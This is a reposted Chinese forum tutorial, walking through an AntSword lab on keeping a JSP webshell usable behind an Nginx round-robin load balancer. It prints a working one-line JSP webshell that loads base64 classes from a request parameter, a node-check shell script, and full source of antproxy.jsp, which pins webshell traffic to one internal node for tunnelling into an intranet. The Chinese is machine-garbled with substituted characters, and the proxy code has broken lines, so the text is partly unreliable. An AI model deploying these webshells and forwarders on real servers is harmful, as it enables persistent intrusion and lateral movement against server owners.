南七星之家 发表于 2024-9-2 21:41:51

Nginx反向署理实现负载均衡webshell

目次
本实行所用的环境:
题目一:由于nginx采用的反向署理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件
题目二:我们在执行下令时,无法知道下次的哀求交给哪台呆板去执行我们在执行hostname -i查看当前执行呆板的IP时,可以看到IP地址不停在漂移
题目三:当我们需要上传一些较大的工具时,会造成工具无法使用的环境
题目四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
一些办理方案:
方案一:关掉此中的一台后端服务器
方案二:在程序执行前先判断要不要执行
方案三:在Web层做一次HTTP流量的转发(重点)

本实行所用的环境:

链接:https://pan.baidu.com/s/17WBxMs3_uIx9pFapwtgK5A?pwd=8848 
提取码:8848
Nginx反向署理实现负载均衡的操作详细可以看:Nginx反向署理实现负载均衡+Keepalive实现高可用-CSDN博客
下面就介绍本次实行
首先照旧进入到漏洞地点的环境目次中
/root/AntSword-Labs-master/loadbalance/loadbalance-jsp
拉取环境:
docker-compose up -d
https://i-blog.csdnimg.cn/blog_migrate/470830a38b605264bc76958dc375c697.png
可以看到运行了容器
然后可以实行访问一下这个页面
https://i-blog.csdnimg.cn/blog_migrate/7fa683936fd6d0db2aa8c175e41b0153.png
 根据上图可以看出,固然显示的是http404,但是表现后端的tomcat是可以访问的
然后我们可以查看一下后端的反向署理服务器:
可以进入到两台中的任意一台中去
docker exec -itdbeefec34893 /bin/bash
root@dbeefec34893:/usr/local/tomcat#
查看 webapps/ROOT/ant.jsp
cat ant.jsp
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%> 可以看到这里是已经上传的一句话木马,暗码是'ant'。
但是需要注意的是8080端口并没有开发,所以我们只能通过nginx来访问
我们可以查看一下nginx文件:
cat nginx/default.conf
upstream lbspool {
server lbsnode1:8080;
server lbsnode2:8080;
}

server {
    listen       80 default_server;
    server_name_;
    charset utf-8;
    root   /usr/share/nginx/html;
    index index.jsp index.html index.htm;
    location / {
      proxy_pass http://lbspool;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
可以看到这里设置了负载均衡。
那么我们就可以实行使用蚁剑来毗连。
 https://i-blog.csdnimg.cn/blog_migrate/66ae428feb14da06af46decd7324d353.png
毗连成功后,我们就可以查看全部文件
https://i-blog.csdnimg.cn/blog_migrate/cb319281083d2bbd4b1814c8056672eb.png
如今我们已经成功的毗连到webshell
但是这里照旧有一些题目:
题目一:由于nginx采用的反向署理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件

因为我们是反向署理的负载均衡,就存在上传文件出现一台后端服务器上有我们上传的文件,另一台服务器上没有我们上传的文件,出现的结果就是,一旦一台服务器上没有,那么在哀求轮到这台服务器的时间,就会报出404的错误,从而影响使用,这也就是一会出现正常,一会出现错误的原因。
就说说两台负载均衡设备都需要有ant.jsp文件,如果仅有一台设备有,一台设备没有,则会出现一次成功,一次失败的结果。
办理方案:
我们需要在每一台节点的相同位置都上传相同内容的WebShell,从而实现无论是轮询到哪台服务器上都可以访问到我们的后端服务器上。
注:实现每一台后端服务器上都有上传的文件,就需要疯狂上传。
题目二:我们在执行下令时,无法知道下次的哀求交给哪台呆板去执行我们在执行hostname -i查看当前执行呆板的IP时,可以看到IP地址不停在漂移

这里因为是使用的轮询的方式,如果使用了权重的方式,就更加的飘忽不定
https://i-blog.csdnimg.cn/blog_migrate/c08e188d2c0fa0ff3cf1d1b623648ce4.png
可以做一下的测试,来验证我们的下令是飘忽不定的:
我们可以进入某一个一个容器中:
查看ip add 会发现没有该功能
(1)我们可以更新一下这个apt
apt-get update
(2)安装net-tools
apt-get install net-tools  然后我们可以在蚁剑的终端中实行使用ipconfig
https://i-blog.csdnimg.cn/blog_migrate/af558f0db5ad800ef89d851e1558bf44.png
就会出现这样一种环境,就是因为我们只给一台服务器上安装了,另外一台没有。
题目三:当我们需要上传一些较大的工具时,会造成工具无法使用的环境

当我们上传一个较大的文件时,由于AntSword上传文件时,采用的是分片上传方式,把一个文件分成了多次HTTP哀求发送给目标,造成文件的一部分内容在A这台服务器上,另一部分文件在B这台服务器上,从而使得较大的工具或者文件无法打开或者使用
这里我们用一个比较大的图片作为大文件来验证一下:
比如说下面这个图片,这是2.14MB大小的图片,用来做测试
https://i-blog.csdnimg.cn/blog_migrate/4cbf8d1a7ed1c4aef61fd10f5afa2a70.png
https://i-blog.csdnimg.cn/blog_migrate/9eadb09ca093ff07b1b20332119afee3.png
可以看到这里一个2MB的图片就直接上传失败了
但是如果我们上传的图片是刚好能上传的,蚁剑的分片传输可能会将上传的一个图片分片分片到两个服务器中,比如说,我们上传这样一个图片:
https://i-blog.csdnimg.cn/blog_migrate/a7309bd5255179fc0674adf9f9476fc6.png
我们如今实行删除这个图片
https://i-blog.csdnimg.cn/blog_migrate/c52cadbe0f3e30a22b61ff8d23e3caad.png
删除完成后,我们试着革新一下文件
https://i-blog.csdnimg.cn/blog_migrate/47ecdf218e6dd279f59ea3c0c2d59a39.png
看样子确实没有了,那么再革新一下:
https://i-blog.csdnimg.cn/blog_migrate/897d3f7789732600022fe6ef064faeff.png
会看到,这个已经被删除的图片又在另一个服务器中出现了
可以多删几次,才能真正删除这个图片。
题目四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

这里总结一下:第一个和第三个题目都可以用多次点击来实现,第三种我们可以不使用大文件就只使用小文件工具就可以避免,但是不能进入内网的题目却是致命的,无法办理则相当于攻击失败
一些办理方案:

方案一:关掉此中的一台后端服务器

因为健康检查机制的存在,很快其他的节点很快就会被从nginx池子中踢出去了!
关闭后端此中的一台服务器确实能够办理上述的四种题目,但是这个方案着实是“老寿星上吊---活腻了”,影响业务,还会造成劫难,直接Pass不思量
综合评价:真实环境下万万不要实行!!!
方案二:在程序执行前先判断要不要执行

既然无法预测下一次是哪台呆板去执行,那我们的shell在执行Payload之前,先判断一下要不要执行不就可以了。
首次按创建一个脚本demo.sh,该脚本是获取我们的后端此中一台服务器的地址,匹配到这台服务器的地址才进行程序的执行,匹配到另一台服务器则不进行程序的执行。
因为没有vim,这里再安装一下vim
apt install vim 编写脚本
vim demo.sh 脚本内容:
#!bin/bash
MYIP=`ifconfig | grep 'inet 172' | awk '{print $2}'`
echo $MYIP
if [$MYIP =="172.22.0.2" ];then
       echo "Node1,i will exec command.\n============\n"
     ifconfig
else    
       echo "Other. Try again."
fi 授权
chmod +x demo.sh 上传该脚本到两台服务器:
# docker cp demo.sh dbeefec34893:/tmp
Successfully copied 2.05kB to dbeefec34893:/tmp
# docker cp demo.sh b13fa1312a15:/tmp
Successfully copied 2.05kB to b13fa1312a15:/tmp
执行
为了方便测试,我们给另外一台容器也安装ipconfig工具:
https://i-blog.csdnimg.cn/blog_migrate/58ddd946c9686b131c142ec87319eed6.png
https://i-blog.csdnimg.cn/blog_migrate/85f30f837b6f17678a4ba807150ff947.png
可以看到我们这样就可以在172.22.0.2时才会执行,其他都会报出Other Try again,
这样就手动的让我们只使用此中一台服务器来执行下令。
注:通过中国蚁剑将demo.sh脚本文件上传到后端的两台服务器上,因为是负载均衡,所以需要疯狂点击上传,也可以在蚁剑上新建文件然后编写脚本,多次点击保存,目标是可以让两个服务器都能成功保存到脚本
这样一来,确实能够保证执行的下令是在我们想要的呆板上了,可是这样执行下令,没有一丝美感,另外,大文件上传、HTTP隧道这些题目也没有办理。
综合评价:该方案勉强能用,仅得当在执行下令的时间用,不够优雅。
方案三:在Web层做一次HTTP流量的转发(重点)

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台呆板也是可以访问 Node1 这台呆板的 8080 端口的。
https://i-blog.csdnimg.cn/blog_migrate/3f563eb559ed735cf4ecb58bcec0ef87.png
还记不记得 「PHP Bypass Disable Function」 这个插件,我们在这个插件加载 so 之后,当地启动了一个 httpserver,然后我们用到了 HTTP 层面的流量转发脚本 「antproxy.php」, 我们放在这个场景下看:
https://i-blog.csdnimg.cn/blog_migrate/cfcddb64b3ae334bce672527edb56d2b.png
我们一步一步来看这个图,我们的目标是:全部的数据包都能发给「LBSNode 1」这台呆板
首先是 第 1 步,我们哀求 /antproxy.jsp,这个哀求发给 nginx
nginx 接到数据包之后,会有两种环境:
我们先看黑色线,第 2 步把哀求传递给了目标呆板,哀求了 Node1 呆板上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把哀求重组之后,传给了 Node1 呆板上的 /ant.jsp,成功执行。
再来看红色线,第 2 步把哀求传给了 Node2 呆板, 接着第 3 步,Node2 呆板上面的 /antproxy.jsp 把哀求重组之后,传给了 Node1 的 /ant.jsp,成功执行。
1、创建 antproxy.jsp 脚本
修改转发地址,转向目标node

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
      HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
      };
      trustAllHttpsCertificates();
      HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
      TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
      } };
      try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
      } catch (KeyManagementException e) {
            e.printStackTrace();
      } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
      }
    }
%>
<%
      String target = "http://172.22.0.2:8080/ant.jsp";
      URL url = new URL(target);
      if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
      }
      HttpURLConnection conn = (HttpURLConnection)url.openConnection();
      StringBuilder sb = new StringBuilder(); #实例化对象
      conn.setRequestMethod(request.getMethod());
      conn.setConnectTimeout(30000);
      conn.setDoOutput(true);
      conn.setDoInput(true);
      conn.setInstanceFollowRedirects(false);
      conn.connect();
      ByteArrayOutputStream baos=new ByteArrayOutputStream();
      OutputStream out2 = conn.getOutputStream();
      DataInputStream in=new DataInputStream(request.getInputStream());
      byte[] buf = new byte; #缓冲区
      int len = 0;
      while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
      }
      baos.flush();
      baos.writeTo(out2);
      baos.close();
      InputStream inputStream = conn.getInputStream();
      OutputStream out3=response.getOutputStream();
      int len2 = 0;
      while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
      }
      out3.flush();
      out3.close();
%> 为了防止文件分片,我们在蚁剑中新建一个文件: 
https://i-blog.csdnimg.cn/blog_migrate/8d964e53c3e8991687f50c06127f6195.png 
这里只是在一台服务器上新建了,另外一台服务器没有,需要多新建几次,保证两台服务器上都有该文件
然后将脚本内容写入,多保存几次
https://i-blog.csdnimg.cn/blog_migrate/6e09841bdbe2b846b8a12268e4176d1d.png
注:必须确保革新后,两台服务器上的文件大小是一样的 
3、 修改 Shell 设置, 将 URL 部分填写为 antproxy.jsp 的地址,别的设置不变
https://i-blog.csdnimg.cn/blog_migrate/e20381057ca7c00c5d4d2a1b22553307.png
4、 测试执行下令, 查看 IP
https://i-blog.csdnimg.cn/blog_migrate/793fbdd6f6b73ad31add7cb168e3b186.png
可以看到 IP 已经固定, 意味着哀求已经固定到了 LBSNode1 这台呆板上了。此时使用分片上传、HTTP 署理,都已经跟单机的环境没什么区别了
该方案的长处:
1、低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不外这跟 Plan A 的关服务就没啥区别了
2、流量上,只影响访问 WebShell 的哀求,别的的正常业务哀求不会影响。
3、适配更多工具
缺点:
该方案需要「目标 Node」和「别的 Node」 之间内网互通,如果不互通就凉了。
到这里Nginx的负载均衡的websehll题目就办理了,并且Nginx相关的漏洞也暂时竣事了!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Nginx反向署理实现负载均衡webshell